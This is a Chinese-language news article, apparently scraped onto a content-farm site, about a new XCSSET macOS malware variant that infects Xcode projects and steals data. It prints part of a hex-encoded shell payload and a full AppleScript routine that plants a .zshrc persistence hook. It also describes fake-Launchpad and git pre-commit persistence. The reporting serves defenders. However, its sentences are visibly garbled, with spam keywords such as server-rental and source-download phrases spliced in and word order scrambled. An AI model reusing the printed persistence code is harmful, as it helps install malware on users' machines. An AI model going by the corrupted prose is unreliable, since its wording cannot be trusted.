您现在的位置是:网络安全 >>正文
新型 XCSSET 恶意软件利用增强混淆技术攻击 macOS 用户
网络安全8162人已围观
简介微软威胁情报团队发现了一种新型的XCSSET变种,这是一种复杂的模块化macOS恶意软件,能够感染Xcode项目,并在开发者构建这些项目时执行。这是自2022年以来的首个已知XCSSET变种,采用了增 ...
微软威胁情报团队发现了一种新型的新型XCSSET变种,这是恶意一种复杂的模块化macOS恶意软件,能够感染Xcode项目,软件并在开发者构建这些项目时执行。利用
这是增强自2022年以来的首个已知XCSSET变种,采用了增强的混淆户混淆方法、更新的技术持久化机制以及新的感染策略 ,源码库旨在窃取macOS用户的攻击敏感信息。

该恶意软件的感染策略利用了开发者在开发与Apple或macOS相关的应用程序时共享项目文件的方式。新型XCSSET变种采用了模块化的恶意方式,其有效载荷经过深度编码 ,软件并改进了错误处理机制。利用
为了在受感染设备上保持低调并尽可能保持无文件状态 ,增强该恶意软件广泛使用脚本语言、混淆户UNIX命令和合法二进制文件,模板下载技术这使得检测和清除变得极具挑战性。在代码层面,恶意软件对模块名称进行混淆,以阻碍静态分析 ,并采用随机化方法生成有效载荷。
与之前的变种仅依赖xxd(hexdump)进行编码不同,最新版本还引入了Base64编码技术。
持久化技术该恶意软件采用了三种不同的持久化技术 ,确保其有效载荷在以下情况下启动 :新shell会话开始 、用户打开伪造的Launchpad应用程序或开发者在Git中提交更改。
微软研究人员指出 ,香港云服务器感染链由四个阶段组成,首先是构建受感染的Xcode项目时运行的混淆shell有效载荷 。

混淆的第一阶段 shell payload(来源 – Microsoft)
第一阶段的有效载荷在被传输到 shell 之前 ,会经过多次十六进制解码迭代:
复制sh -c"(echo 333363632333436333352333035361.在初始感染之后 ,该恶意软件会从其命令与控制服务器(C2)下载额外的模块,其中包括能够窃取系统信息、浏览器扩展数据、数字钱包信息以及来自 “备忘录” 应用程序的源码下载笔记内容的组件。
该恶意软件通过几种复杂的方法来实现驻留 。其中一种方法是修改~/.zshrc 文件,以便在每次启动新的 shell 会话时执行恶意代码 。

.zshrc 驻留方法(来源:微软)
恶意软件在利用.zshrc 文件驻留时,会先检查是否存在恢复标志 ,然后根据标志决定是删除恶意文件 ,还是服务器租用创建并更新它 :
复制on doMain() try if RESTORE_DEFAULT is true then do shell script "rm -f ~/.zshrc_aliases" log ".zshrc_aliases removed" else set payload to getPayloadBody("Terminal") set payload to quoted form of payload do shell script "echo " & payload & " > ~/.zshrc_aliases" log ".zshrc_aliases updated" set payload to "[ -f $HOME/.zshrc_aliases ] && . $HOME/.zshrc_aliases" set payload to quoted form of payload do shell script "touch ~/.zshrc" do shell script "grep -qF .zshrc_aliases ~/.zshrc || echo " & payload & " >> ~/.zshrc" log ".zshrc done" end if on error the errorMessage log "failed at .zshrc: " & errorMessage return end try end doMain1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.另一种驻留手段是创建一个伪装成启动台的恶意应用,只要用户试图打开真正的启动台,这个伪装应用就会执行恶意代码 。
此外 ,恶意软件还会通过修改 Git 仓库的预提交钩子,在开发者提交更改时执行有效载荷 ,从而感染 Git 仓库 。
微软建议用户及时更新到最新版本的操作系统,在使用 Xcode 项目时仔细检查 ,免费模板同时启用微软端点防护软件(Microsoft Defender for Endpoint)等安全防护工具,这些工具能够检测并隔离该恶意软件变种 ,有效保护系统安全 。
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“算法与编程”。http://www.bzli.cn/news/699b399297.html
相关文章
网络安全漏洞(风险)扫描的12种类型
网络安全漏洞风险)扫描是保障现代企业数字化转型安全开展过程中一个至关重要的组成部分,可以帮助企业识别数字化系统和应用中的各类安全缺陷。在实际应用时,漏洞扫描的类型需要和它们能够保护的IT环境保持一致。如果充分 ...
【网络安全】
阅读更多大白菜XP装系统教程(快速学会使用大白菜安装XP系统)
网络安全大白菜是一款强大的系统工具,它可以帮助我们快速、方便地安装XP系统。本文将详细介绍如何使用大白菜进行XP系统的安装,让你轻松搞定。1.准备工作:了解大白菜的基本功能及优势大白菜是一款功能强大的系统工具 ...
【网络安全】
阅读更多探索铁三角ATH-WS55X耳机的音质与舒适性(领略清晰动人的音质,细腻呵护你的耳朵)
网络安全作为一款备受赞誉的耳机产品,铁三角ATH-WS55X以其卓越的音质和舒适的佩戴体验在音乐爱好者中广受好评。本文将深入探索ATH-WS55X耳机的音质特点和舒适性,带您一起感受这款耳机带来的震撼和舒适。 ...
【网络安全】
阅读更多
热门文章
最新文章
友情链接
- 解决未安装音频输出设备的问题(如何在没有音频输出设备的情况下获得音频输出?)
- BugooG1(探索BugooG1的卓越性能和创新设计)
- OPPO R7主要特点是什么
- 小米海康威视摄像头(细致监控,安心无忧)
- 索尼Z5尊享音质全面解析(探究索尼Z5尊享音质的突破之处)
- i54590处理器的性能及特点剖析(了解i54590处理器的主要特性及其在计算机领域的应用)
- EA888发动机(卓越性能、可靠稳定、绿色环保的EA888发动机)
- 使用最新版U盘装Win7系统教程(轻松安装最新版Win7系统的详细步骤)
- 相机CF卡芯片损坏解决方法(教你应对相机CF卡芯片损坏的情况,避免数据丢失)
- 一体化电脑设置教程(简单操作,快速上手,助你充分利用一体化电脑的功能) 网站建设亿华云b2b信息平台香港物理机云服务器企业服务器源码库